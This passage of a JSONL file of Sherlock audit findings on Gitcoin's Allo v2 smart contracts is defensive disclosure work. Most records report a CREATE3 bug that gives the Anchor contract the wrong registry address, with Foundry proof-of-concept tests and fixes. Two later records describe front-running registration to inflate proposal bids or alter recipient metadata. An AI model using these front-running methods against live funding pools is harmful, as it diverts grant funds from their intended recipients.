funds to the Anchor then his funds will be stuck because there is no way for him to get them back because execute() will always fail. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Anchor.sol#L56\n\n\nTo test this you can add these 3 lines at the end of the `test_createProfile()` in `core/Registry.t.sol` and as you can see the addresses will be different. \n\n```solidity\nfunction test_createProfile() public {\n ...\n\n Registry deployedAnchor = Anchor(payable(profile.anchor)).registry();\n\n console.log(\"The registry from the deployed anchor is\", address(deployedAnchor));\n console.log(\"The real registry address is\", address(registry()));\n \n}\n```\n\n\n## Tool used\n\nManual Review + Foundry\n\n## Recommendation\n\nDont use msg.sender and instead pass in the address of the registry as an argument\n\n```solidity\nconstructor(bytes32 _profileId, address _registry) {\n registry = Registry(_registry);\n profileId = _profileId;\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//012-H/889.md"}} +{"title":"Registery address is set to proxy address of create3 instead of registery in the anchor.sol","severity":"major","body":"Flat Sapphire Platypus\n\nhigh\n\n# Registery address is set to proxy address of create3 instead of registery in the anchor.sol\ncreate3 use the intermediary proxy, which deploys the registery contract, so in this case the msg.sender is the proxy address instead of the registery address.\n## Vulnerability Detail\nCreate3 implementation deploys the proxy that than deploys the contract, but in the constructor of the `anchor.sol` uses the msg.sender as the address of registery which is actually the address of proxy.\n\nanchor.sol\n```solidity\n constructor(bytes32 _profileId) {\n // @audit-issue here the msg.sender is the address of temporary proxy not the registery contract\n registry = Registry(msg.sender);\n profileId = _profileId;\n }\n```\n\nOriginal documentation of create3 recommends to pass the addresses as argument instead of using the msg.sender. Check the following link:\nhttps://github.com/ZeframLou/create3-factory\n\nNow check the solady implementation:\n\nhttps://github.com/Vectorized/solady/blob/main/src/utils/CREATE3.sol\n\nhttps://github.com/Vectorized/solady/blob/1c1ac4ad9c8558001e92d8d1a7722ef67bec75df/src/utils/CREATE3.sol#L48\n\nCheck the following code snippet used by the solady which deploys the contract by using the poxy address on above line:\n\n```solidity\n if iszero(\n call(\n gas(), // Gas remaining.\n proxy, // Proxy's address.\n value, // Ether value.\n add(creationCode, 0x20), // Start of `creationCode`.\n mload(creationCode), // Length of `creationCode`.\n 0x00, // Offset of output.\n 0x00 // Length of output.\n )\n ) {\n \n```\n## Impact\nThe anchor will not work so does everything in the system, as most of the things revolve around the functioning of the anchor contract.\n\n\nSO anchor will never be able to access the registery and can not be changed either through the setters.\n## Code Snippet\nhttps://github.com/Vectorized/solady/blob/1c1ac4ad9c8558001e92d8d1a7722ef67bec75df/src/utils/CREATE3.sol#L48-L118\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L55-L58\n## Tool used\n\nManual Review\n\n## Recommendation\nPass the registery address as argument instead of using the msg.sender when deploying through registery.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//012-H/874.md"}} +{"title":"Registry Address Assignment Vulnerability in Anchor Contract Deployment using CREATE3","severity":"major","body":"Special Eggplant Falcon\n\nhigh\n\n# Registry Address Assignment Vulnerability in Anchor Contract Deployment using CREATE3\nThe problem occurs when deploying the Anchor contract using the `CREATE3` library. In the constructor of the Anchor contract, it uses `msg.sender` as the registry contract address. However, because of the `CREATE3` library, a temporary proxy contract address is assigned to `msg.sender` during deployment. This leads to an incorrect assignment of the registry variable, causing the execute method to encounter an error and fail.\n\n## Vulnerability Detail\nThe vulnerability lies in the incorrect usage of `msg.sender` as the registry address in the Anchor contract's constructor. Within `_generateAnchor` method in `Registry.sol` contract, it uses `CREATE3` library to deploy new contract like this.\n```solidity\nbytes32 salt = keccak256(abi.encodePacked(_profileId, _name));\naddress preCalculatedAddress = CREATE3.getDeployed(salt);\n......\n\n// check if the contract has already been deployed by checking code size of address\nbytes memory creationCode = abi.encodePacked(type(Anchor).creationCode, abi.encode(_profileId));\n\n// Use CREATE3 to deploy the anchor contract\nanchor = CREATE3.deploy(salt, creationCode, 0);\n```\nAnd in the constructor of `Anchor.sol` , it use `msg.sender` as Registry contract address\n```solidity\n/// @notice Constructor\n/// @dev We create an instance of the 'Registry' contract using the 'msg.sender' and set the profileId.\n/// @param _profileId The ID of the allowed profile to execute calls\nconstructor(bytes32 _profileId) {\n registry = Registry(msg.sender);\n profileId = _profileId;\n}\n```\nThe `CREATE3` library assigns a temporary proxy contract address as `msg.sender` during deployment, resulting in the wrong value for the registry variable. This discrepancy causes the execute method to fail when making external calls due to the incorrect registry address.\n\n## Impact\nAny external calls relying on the registry functionality within the Anchor contract will not succeed.\n\n## Code Snippet\n- How generate Anchor contract address \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L350\n- Incorrect registry address assign\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L56\n- external call revert \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L72\n\n## Tool used\n\nManual Review\n\n## Recommendation\n1. Instead of using `msg.sender`, pass the registry contract address as a parameter named `_registry` in the Anchor.sol constructor:\n```solidity\nconstructor(bytes32 _profileId, address _registry) {\n registry = Registry(_registry);\n profileId = _profileId;\n}\n```\n2. Include the address of the registry in the creationCode section:\n```solidity\n// check if the contract has already been deployed by checking code size of address\nbytes memory creationCode = abi.encodePacked(type(Anchor).creationCode, abi.encode(_profileId), abi.encode(address(this)));\n\n// Use CREATE3 to deploy the anchor contract\nanchor = CREATE3.deploy(salt, creationCode, 0);\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//012-H/454.md"}} +{"title":"The ````Anchor```` contract is broken entirely and any funds sent to it would be locked for ever","severity":"major","body":"Atomic Ultraviolet Mole\n\nhigh\n\n# The ````Anchor```` contract is broken entirely and any funds sent to it would be locked for ever\nThe ````Anchor```` contract is a core component of ````Allo```` protocol, but it is broken entirely due to incorrect using of ````solady````'s ````CREATE3```` library. And any funds sent to instances of ````Anchor```` would be locked for ever.\n\n## Vulnerability Detail\nCalls to ````execute()```` would always revert on L72, as ````msg.sender```` on L56 is not the ````registry````.\n```solidity\nFile: contracts\\core\\Anchor.sol\n27: contract Anchor {\n...\n33: Registry public immutable registry;\n...\n36: bytes32 public immutable profileId;\n37: \n...\n55: constructor(bytes32 _profileId) {\n56: registry = Registry(msg.sender);\n57: profileId = _profileId;\n58: }\n...\n70: function execute(address _target, uint256 _value, bytes memory _data) external returns (bytes memory) {\n71: // Check if the caller is the owner of the profile and revert if not\n72: if (!registry.isOwnerOfProfile(profileId, msg.sender)) revert UNAUTHORIZED();\n73: \n74: // Check if the target address is the zero address and revert if it is\n75: if (_target == address(0)) revert CALL_FAILED();\n76: \n77: // Call the target address and return the data\n78: (bool success, bytes memory data) = _target.call{value: _value}(_data);\n79: \n80: // Check if the call was successful and revert if not\n81: if (!success) revert CALL_FAILED();\n82: \n83: return data;\n84: }\n...\n87: receive() external payable {}\n88: }\n\n```\n\nLet's analyze the call stack while creating ````Anchor```` instances:\n(1) ````CREATE3.deploy()```` is called by the ````registry```` on L350 of ````Registry.sol````\n```solidity\nFile: contracts\\core\\Registry.sol\n335: function _generateAnchor(bytes32 _profileId, string memory _name) internal returns (address anchor) {\n336: bytes32 salt = keccak256(abi.encodePacked(_profileId, _name));\n337: \n338: address preCalculatedAddress = CREATE3.getDeployed(salt);\n...\n341: if (preCalculatedAddress.code.length > 0) {\n...\n345: } else {\n347: bytes memory creationCode = abi.encodePacked(type(Anchor).creationCode, abi.encode(_profileId));\n348: \n349: // Use CREATE3 to deploy the anchor contract\n350: anchor = CREATE3.deploy(salt, creationCode, 0);\n351: }\n352: }\n\n```\n\n(2) Next, let's dive deeper on the implementation of ````CREATE3.deploy()````, please pay attention on L072, an intermediate helper contract ````proxy```` is created firstly. Then, on L094~L102, ````creationCode```` of ````Anchor```` contact is passed to the proxy. Finally, the proxy creates ````Anchor```` instance.\n```solidity\nFile: lib\\solady\\src\\utils\\CREATE3.sol\n048: uint256 private constant _PROXY_BYTECODE = 0x67363d3d37363d34f03d5260086018f3;\n...\n063: function deploy(bytes32 salt, bytes memory creationCode, uint256 value)\n064: internal\n065: returns (address deployed)\n066: {\n067: /// @solidity memory-safe-assembly\n068: assembly {\n069: // Store the `_PROXY_BYTECODE` into scratch space.\n070: mstore(0x00, _PROXY_BYTECODE)\n071: // Deploy a new contract with our pre-made bytecode via CREATE2.\n072: let proxy := create2(0, 0x10, 0x10, salt)\n073: \n074: // If the result of `create2` is the zero address, revert.\n075: if iszero(proxy) {\n076: // Store the function selector of `DeploymentFailed()`.\n077: mstore(0x00, 0x30116425)\n078: // Revert with (offset, size).\n079: revert(0x1c, 0x04)\n080: }\n081: \n082: // Store the proxy's address.\n083: mstore(0x14, proxy)\n084: // 0xd6 = 0xc0 (short RLP prefix) + 0x16 (length of: 0x94 ++ proxy ++ 0x01).\n085: // 0x94 = 0x80 + 0x14 (0x14 = the length of an address, 20 bytes, in hex).\n086: mstore(0x00, 0xd694)\n087: // Nonce of the proxy contract (1).\n088: mstore8(0x34, 0x01)\n089: \n090: deployed := keccak256(0x1e, 0x17)\n091: \n092: // If the `call` fails, revert.\n093: if iszero(\n094: call(\n095: gas(), // Gas remaining.\n096: proxy, // Proxy's address.\n097: value, // Ether value.\n098: add(creationCode, 0x20), // Start of `creationCode`.\n099: mload(creationCode), // Length of `creationCode`.\n100: 0x00, // Offset of output.\n101: 0x00 // Length of output.\n102: )\n103: ) {\n104: // Store the function selector of `InitializationFailed()`.\n105: mstore(0x00, 0x19b991a8)\n106: // Revert with (offset, size).\n107: revert(0x1c, 0x04)\n108: }\n109: \n110: // If the code size of `deployed` is zero, revert.\n111: if iszero(extcodesize(deployed)) {\n112: // Store the function selector of `InitializationFailed()`.\n113: mstore(0x00, 0x19b991a8)\n114: // Revert with (offset, size).\n115: revert(0x1c, 0x04)\n116: }\n117: }\n118: }\n\n```\n\nTherefore, while executing ````constructor()```` of ````Anchor````, the call stack is as\n```solidity\nRegistry._generateAnchor() ---> proxy.fallback() ---> Anchor.constructor()\n```\nThe ````msg.sender```` retrieved in ````constructor()```` of ````Anchor```` is ````proxy````, not ````registry````.\n\n\n\n## Impact\n(1) As a core component, the ````Anchor```` contract is broken entirely\n(2) As shown on L87, the contract is designed to receive funds, but any funds sent to it would be locked for ever\n```solidity\nFile: contracts\\core\\Anchor.sol\n27: contract Anchor {\n...\n87: receive() external payable {}\n}\n```\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L56\n\n## Tool used\n\nManual Review\n\n## Recommendation\nPassing ````registry```` as parameter of ````constructor()```` of ````Anchor```` contract.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//012-H/409.md"}} +{"title":"`Registry.sol` generate clone `Anchor.sol` never work. Profile owner cannot use their `Anchor` wallet","severity":"major","body":"Boxy Blood Badger\n\nhigh\n\n# `Registry.sol` generate clone `Anchor.sol` never work. Profile owner cannot use their `Anchor` wallet\n\nUser create new profile through `Registry`. Each profile have its own unique `Anchor` clone contract to handle transactions as a wallet.\nNew clone `Anchor.sol` contract never work because `registry` address setup in `Anchor` constructor point to wrong address.\nThis broke `Anchor` contract. Profile owner cannot use their wallet `Anchor`. All funds send to this `Anchor` contract will be lost forever.\n\n## Vulnerability Detail\n\nAdd this test to `Registry.t.sol` test file to reproduce the issue.\n\n```js\n function test_Audit_createProfile() public {\n // create profile\n bytes32 newProfileId = registry().createProfile(nonce, name, metadata, profile1_owner(), profile1_members());\n Registry.Profile memory profile = registry().getProfileById(newProfileId);\n Anchor _anchor = Anchor(payable(profile.anchor));\n\n console.log(\"registry address: %s\", address(registry()));\n console.log(\"anchor address: %s\", profile.anchor);\n console.log(\"anchor.registry: %s\", address(_anchor.registry()));\n\n emit log_named_bytes32(\"profile.id\", profile.id);\n emit log_named_bytes32(\"anchor.profile.id\", _anchor.profileId());\n\n Anchor _anchor_proxy = Anchor(payable(address( _anchor.registry())));\n assertEq(address(registry()),address(_anchor.registry()) ,\"wrong anchor registry\");\n }\n```\n\nWhat happen with `Anchor.sol` is it expect `msg.sender` is `Registry` contract. But in reality `msg.sender` is a proxy contract generated by Solady during `CREATE3` operation.\n\n```solidity\n constructor(bytes32 _profileId) {\n registry = Registry(msg.sender);//@audit H Registry address here is not Registry. msg.sender is a proxy contract. Create3 deploy 2 contract. one is proxy. other is actual bytecode.\n profileId = _profileId;\n }\n```\n\nThis can be seen with Solady comment for proxy contract. `msg.sender` above is middleman proxy contract. Not `Registry` contract. Solady generate 2 contract during CREATE3 operation. [One is proxy](https://github.com/Vectorized/solady/blob/62301983801a898fcfaad6fa492f21350d31b5aa/src/utils/CREATE3.sol#L34) contract. [Second is actual bytecode](https://github.com/Vectorized/solady/blob/62301983801a898fcfaad6fa492f21350d31b5aa/src/utils/CREATE3.sol#L72).\n\n## Impact\n\n`Anchor.execute()` function will not work because `registry` address point to empty proxy contract and not actual `Registry` so all call will revert.\n```solidity\nFile: allo-v2\\contracts\\core\\Anchor.sol\n70: function execute(address _target, uint256 _value, bytes memory _data) external returns (bytes memory) {\n71: // Check if the caller is the owner of the profile and revert if not\n72: if (!registry.isOwnerOfProfile(profileId, msg.sender)) revert UNAUTHORIZED();\n```\nProfile owner cannot use their wallet `Anchor`. All funds send to this `Anchor` contract will be lost forever.\n## Code Snippet\n\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L350\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L55-L58\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nMove `msg.sender` into constructor parameter\n```solidity\nFile: allo-v2\\contracts\\core\\Registry.sol\n347: bytes memory creationCode = abi.encodePacked(type(Anchor).creationCode, abi.encode(_profileId, address(this))); //@audit fix creation code\n348: \n349: // Use CREATE3 to deploy the anchor contract\n350: anchor = CREATE3.deploy(salt, creationCode, 0); \nFile: allo-v2\\contracts\\core\\Anchor.sol\n55: constructor(bytes32 _profileId, address _registry) {\n56: registry = Registry(_registry);\n57: profileId = _profileId;\n58: }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//012-H/380-best.md"}} +{"title":"The wrong address is being assigned as the `registry` in `Anchor.sol`","severity":"major","body":"Bubbly Glossy Unicorn\n\nhigh\n\n# The wrong address is being assigned as the `registry` in `Anchor.sol`\n\"In the `Anchor.sol` constructor, `msg.sender` is not `Registry.sol`, causing reverts on all calls in `Anchor.sol`.\"\n## Vulnerability Detail\nRegistry is responsible for deploying the Anchor contract, and during the contract's construction, the `msg.sender` is initially set to `registry`. However, it's important to note that in the constructor, the `msg.sender` will be the temporary proxy contract employed by CREATE3, rather than the intended deployer, which should be `Registry.sol`.\n\nconsider the following example contract :\n\n```solidity\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.4;\n\nimport \"https://github.com/Vectorized/solady/blob/main/src/utils/CREATE3.sol\";\n\ncontract one{\n address public sender;\n constructor(bytes32 profileId){\n sender = msg.sender;\n }\n function ss() public view returns(address){\n return sender;\n }\n}\n\ncontract cr3{\n uint public number = 30; \n function dep(uint value, string memory _name) public returns(address,address){\n bytes32 _profileId = keccak256(abi.encode(value));\n bytes memory creationCode = abi.encodePacked(type(one).creationCode, abi.encode(_profileId));\n bytes32 salt = keccak256(abi.encodePacked(_profileId, _name));\n address addr = CREATE3.deploy(salt, creationCode, 0);\n one result = one(addr);\n address sender = result.ss();\n \n return (sender,address(this));\n }\n}\n```\n\nOutput : \n`{\n\t\"0\": \"address: 0x1FcCa1CB6fe73EbcDdc45d72F619251d03d8f7c6\",\n\t\"1\": \"address: 0xf8e81D47203A594245E36C48e151709F0C19fBe8\"\n}`\n\nFrom the output you can clearly see that the `msg.sender` in the constructor is not the intended deployer\n## Impact\n`Anchor.sol` can't execute any calls\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L55-L58\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L335-L352\n## Tool used\n\nManual Review\n\n## Recommendation\nAssign the actual address of the registry in the Anchor contract","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//012-H/351.md"}} +{"title":"The Anchor.sol sets up the registry with an incorrect address","severity":"major","body":"Decent Brunette Aphid\n\nhigh\n\n# The Anchor.sol sets up the registry with an incorrect address\nWhen `Anchor.sol` was deployed and the registry is configured with a wrong address. Therefore, the owner will never be able to call `Anchor.execute()` correctly, because it will always fail, since the function does not exist for the implemented address and if someone sends funds they will be lost forever.\n\n## Vulnerability Detail\nWhen the owner tries to create a profile using `Registry.createProfile()` in the `Registry.sol`, the `_generateAnchor()` function is called internally and CREATE3 is implemented using the solady library to deploy the Anchor associated with the owner's `profileId`.\n\nThis implementation works fine so far. Then, when the `Anchor.so`l contract is deployed, the constructor is called. Next, this statement is executed within the constructor:\n\n```solidity\nregistry = Registry(msg.sender);\n```\nThe protocol expected `msg.sender` to be `Registry.sol`, since the deploy call is made by `Registry.sol`. But this address is not. But rather the temporary creation context created by the CREATE3.deploy function.\n\n Therefore, the address of `Registry` in `Anchor.sol` is neither the Implementer nor the EOA of the owner caller.\n\nYou can prove this is correct using this test:\n\n```solidity\npragma solidity 0.8.19;\n\nimport \"forge-std/Test.sol\";\nimport {Anchor} from \"../../../contracts/core/Anchor.sol\";\nimport {Registry} from \"../../../contracts/core/Registry.sol\";\nimport {Metadata} from \"../../../contracts/core/libraries/Metadata.sol\";\n\ncontract RegistryTest is Test {\n\n function setUp() public {\n registry = new Registry();\n registry.initialize(msg.sender);\n }\n\n function test_isNotSetRegistry() public {\n vm.deal(bob,1000 ether);\n vm.startPrank(bob);\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"test metadata\"});\n address[] memory emptyArray = new address[](0);\n bytes32 profileId = registry.createProfile(0,\"test\", metadata,address(bob),emptyArray);\n Registry.Profile memory profile = registry.getProfileById(profileId);\n address payable anchorAddress = payable(profile.anchor);\n anchor = Anchor(anchorAddress);\n \n assertTrue(address(registry) != address((anchor.registry())));\n }\n}\n```\nGiving confirmed proof that the addresses are not the same.\n \n## Impact\n`Anchor.sol` can never be used, funds can be received and how do they have the restriction of verifying if it is the owner and that person calls `Registry.sol`. Since it is not configured correctly it is never successful for the `Anchor.execute()` call. Thus, the funds will always remain blocked and will be lost.\n\nThe protocol logic for this implementation will not work.\n\nThe team called this contract a crucial utility within the Allo ecosystem, making it easier to execute calls to destination addresses. Noting how serious this issue is.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L56\n\n## Tool used\n\n* Manual Review\n* Foundry\n\n## Recommendation\n\nConsider explicitly passing them the `registry` address as arguments.\n\nThis way you can ensure that the `registry` has the absolutely correct address.\n\n```diff\n- constructor(bytes32 _profileId) {\n+ constructor(bytes32 _profileId, address registryAddress)\n- registry = Registry(msg.sender);\n+ registry = Registry(registryAddress);\n profileId = _profileId;\n }\n\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//012-H/335.md"}} +{"title":"The registry addresses on Anchor contracts will not be the registry contract address","severity":"major","body":"Polished Cyan Porpoise\n\nhigh\n\n# The registry addresses on Anchor contracts will not be the registry contract address\n\nMain functionality of a Anchor contract is to interact with the `Registry ` contract , but it will result in not working as intended due to pointing of `address(registry)` to a wrong address. \n\n\n## Vulnerability Detail\n\n\nRegistry contract is upgradable so it uses a proxy contract to delegatecall to implematation `Registry.sol`\n.Now registry contract calls in the context of proxy Contract , it uses the `Create3` method\n when deploying an Anchor Contract through the `Registry` but \nwhen we look at how `create3` works it first deploys a `factory` contract , then it deploys the \nAnchor contract , So in Anchor contract `registry address` \n```js\n//Anchor.sol::\n constructor(bytes32 _profileId) {\n registry = Registry(msg.sender);\n```\n\nwill be pointed to the `factory` address not to the `proxy` address.\nSo this is a `critical issue` anchor contracts will not result in functioning as expected. \n\nProxy -----------> Implementation ------------------------------------> new Factory() ------------> new Anchor()\n \n\n```js\n//Anchor.sol::constructor \n constructor(bytes32 _profileId) {\n console.log( \"Who ?\",msg.sender);\n registry = Registry(msg.sender);\n profileId = _profileId;\n }\n```\n\nSo we can see creation of two contracts , `Anchor` is deployed through it , the `msg.sender` for anchor is not the `Registry` contract ,\n\n\n```js\nLogs:\n Precalculated_address 0x19f74eaE4d147b5dE48eaA10Ba8Cabbbc6dD1DcC\n Who ? 0x8255171434e106E159807883ebd1B0457593660B\n what is real registry address 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f\n\n Registry::createProfile(2, New Profile, (1, test metadata), profile1_owner: [0x2D888D2e39caeb77649Bd81D64d23C4Bf023eb5d], []) \n ā”‚ ā”œā”€ [0] console::log(Precalculated_address, Anchor: [0x19f74eaE4d147b5dE48eaA10Ba8Cabbbc6dD1DcC]) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [1617] ā†’ new @0x8255171434e106E159807883ebd1B0457593660B\n ā”‚ ā”‚ ā””ā”€ ā† 8 bytes of code\n ā”‚ ā”œā”€ [266882] 0x8255171434e106E159807883ebd1B0457593660B::60c06040(5234801561001057600080fd5b5060405161060838038061060883398101604081905261002f916100cf565b60408051808201909152600581526457686f203f60d81b60208201526100559033610061565b3360805260a052610148565b6100aa82826040516024016100779291906100e8565b60408051601f198184030181529190526020810180516001600160e01b0390811663319af33360e01b179091526100ae16565b5050565b80516a636f6e736f6c652e6c6f67602083016000808483855afa5050505050565b6000602082840312156100e157600080fd5b5051919050565b604081526000835180604084015260005b8181101561011657602081870181015160608684010152016100f9565b50600060608285018101919091526001600160a01b03949094166020840152601f01601f191690910190910192915050565b60805160a05161048f610179600039600081816056015261012c015260008181609d015261015b015261048f6000f3fe6080604052600436106100385760003560e01c806308386eba146100445780637b1039991461008b578063b61d27f6146100d757600080fd5b3661003f57005b600080fd5b34801561005057600080fd5b506100787f000000000000000000000000000000000000000000000000000000000000000081565b6040519081526020015b60405180910390f35b34801561009757600080fd5b506100bf7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610082565b3480156100e357600080fd5b506100f76100f23660046102e4565b610104565b60405161008291906103e1565b6040517f39b86b8c0000000000000000000000000000000000000000000000000000000081527f000000000000000000000000000000000000000000000000000000000000000060048201523360248201526060907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316906339b86b8c90604401602060405180830381865afa1580156101aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101ce9190610414565b610204576040517f075fd2b100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001600160a01b03841661022b576040516384aed38d60e01b815260040160405180910390fd5b600080856001600160a01b03168585604051610247919061043d565b60006040518083038185875af1925050503d8060008114610284576040519150601f19603f3d011682016040523d82523d6000602084013e610289565b606091505b5091509150816102ac576040516384aed38d60e01b815260040160405180910390fd5b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000806000606084860312156102f957600080fd5b83356001600160a01b038116811461031057600080fd5b925060208401359150604084013567ffffffffffffffff8082111561033457600080fd5b818601915086601f83011261034857600080fd5b81358181111561035a5761035a6102b5565b604051601f8201601f19908116603f01168101908382118183101715610382576103826102b5565b8160405282815289602084870101111561039b57600080fd5b8260208601602083013760006020848301015280955050505050509250925092565b60005b838110156103d85781810151838201526020016103c0565b50506000910152565b60208152600082518060208401526104008160408501602087016103bd565b601f01601f19169190910160400192915050565b60006020828403121561042657600080fd5b8151801515811461043657600080fd5b9392505050565b6000825161044f8184602087016103bd565b919091019291505056fea2646970667358221220f83835017b5f23eeab508bcd5117dc0e745a7718198dbe1216d7f5ba1d0d18ba64736f6c63430008130033a7d83d4cf616a94589744f31588a007483826246fd933381716ee8ebc968481c) \n ā”‚ ā”‚ ā”œā”€ [234563] ā†’ new Anchor@0x19f74eaE4d147b5dE48eaA10Ba8Cabbbc6dD1DcC\n ā”‚ ā”‚ ā”‚ ā”œā”€ [0] console::log(Who ?, 0x8255171434e106E159807883ebd1B0457593660B) [staticcall]\n ā”‚ ā”‚ ā”‚ ā”‚ ā””ā”€ ā† ()\n\n\n```\n\n\n## Impact\n\n Anchor contracts will not result in functioning as expected.\n\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L347\n\n## Tool used\n\nManual Review \n\nFoundry \n\n## Recommendation\n\n\nConsider adding the `address(this)` to the implementation `Registry.sol` in `_generateAnchor` function.\n\n```diff\n- bytes memory creationCode = abi.encodePacked(type(Anchor).creationCode, abi.encode(_profileId));\n+ bytes memory creationCode = abi.encodePacked(type(Anchor).creationCode, abi.encode(_profileId,address(this)));\n\n```\n\n(address(this) will be the proxy address because we `delegatecall` impementation in the context of proxy),don't change the order when encoding `_profileId,address(this)` it should be similar to the \norder as in the Anchor constructor `constructor(bytes32 _profileId ,address _registry)`.\n\nIn `Anchor.sol`\n\n```diff\n\nconstructor(bytes32 _profileId ,address _registry) {\n \n- registry = Registry(msg.sender);\n+ registry = Registry(_registry);\n profileId = _profileId;\n }\n\n```\n\n POC for Mitigation \n\nI added a helper function into the `Anchor.sol ` as follows ,\n\n```js\nfunction registry_Address() external view returns(address) {\n return address(registry) ;\n }\n\n```\n```js\n//I used the precalculated address given by my foundry test -vvvv as anchor address , \n// Notice that in the testing @dev haven't used any proxy to call registry just used implementaiton as the registry contract\n// In reality the implementation will be in the context of proxy so address(registry) should be proxy not the impementation but it's fine for this test \n// Make sure to create test cases without mocks as realistic as possible. \n function test_registryCorrectInAnchor() public {\n bytes32 newProfileId = registry().createProfile(nonce, name, metadata, profile1_owner(), new address[](0));\n console.log(\"what is real registry\",address(registry()));\n \n address reg = IAnchor(0x19f74eaE4d147b5dE48eaA10Ba8Cabbbc6dD1DcC).registry_Address();\n assertEq(reg , address(registry()));\n\n }\n\n\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//012-H/306.md"}} +{"title":"Recipient data may be manipulated through front-running","severity":"major","body":"Ambitious Brick Ladybug\n\nmedium\n\n# Recipient data may be manipulated through front-running\nThe protocol allows users to register as recipients and update recipient data. The `_registerRecipient` and `_allocate` functions provide ways to manage these recipients and their proposal bids. However, there is a vulnerability that allows a malicious user to front-run the pool manager's call to `_allocate`, potentially modifying the `proposalBid` in case of RPFSimpleStrategy and `metadata` in case of QVBaeStrategy contract, that are later used for the distribution.\n\n## Vulnerability Detail\nThe `_registerRecipient` function allows users to register as recipients and also to update some data of existing recipients. When the `useRegistryAnchor` is not set, users outside from profile can register. The `_allocate` in RPFSimpleStrategy and `reviewRecipients` in QVBaseStrategy allows a pool manager to set the recipient's status to Accepted. \nA malicious user can exploit this by observing when a pool manager is about to execute `_allocate`/`reviewRecipients` and front-running that transaction with a call to `registerRecipient` to maliciously change the proposalBid or metadata. \n\n## Impact\nMalicious recipients can be mistakenly accepted by the pool manager.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L380\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L369-L430\n## Tool used\n\nManual Review\n\n## Recommendation\nIn order to protect against front-running, revert the transaction if the `recipientStatus` is set to `Pending`, or implement a time-lock mechanism that allows recipient data to be changed only once per a specified time period.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//011-H/901.md"}} +{"title":"Malicious recipient can unfairly get more funding in RFP strategies","severity":"major","body":"Young Tiger Snake\n\nmedium\n\n# Malicious recipient can unfairly get more funding in RFP strategies\nIf a recipient gets picked by a committee in RFP strategy they might frontrun `_allocate` with a much higher `proposalBid`.\n\n## Vulnerability Detail\n`ProposalBid` can be changed right before `_allocate` allowing a recipient to get more funding unfairly.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L378\n\n## Impact\n\nIf there are a lot of bids it might be left unnoticed for awhile allowing a recipient to get more funding unfairly.\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## 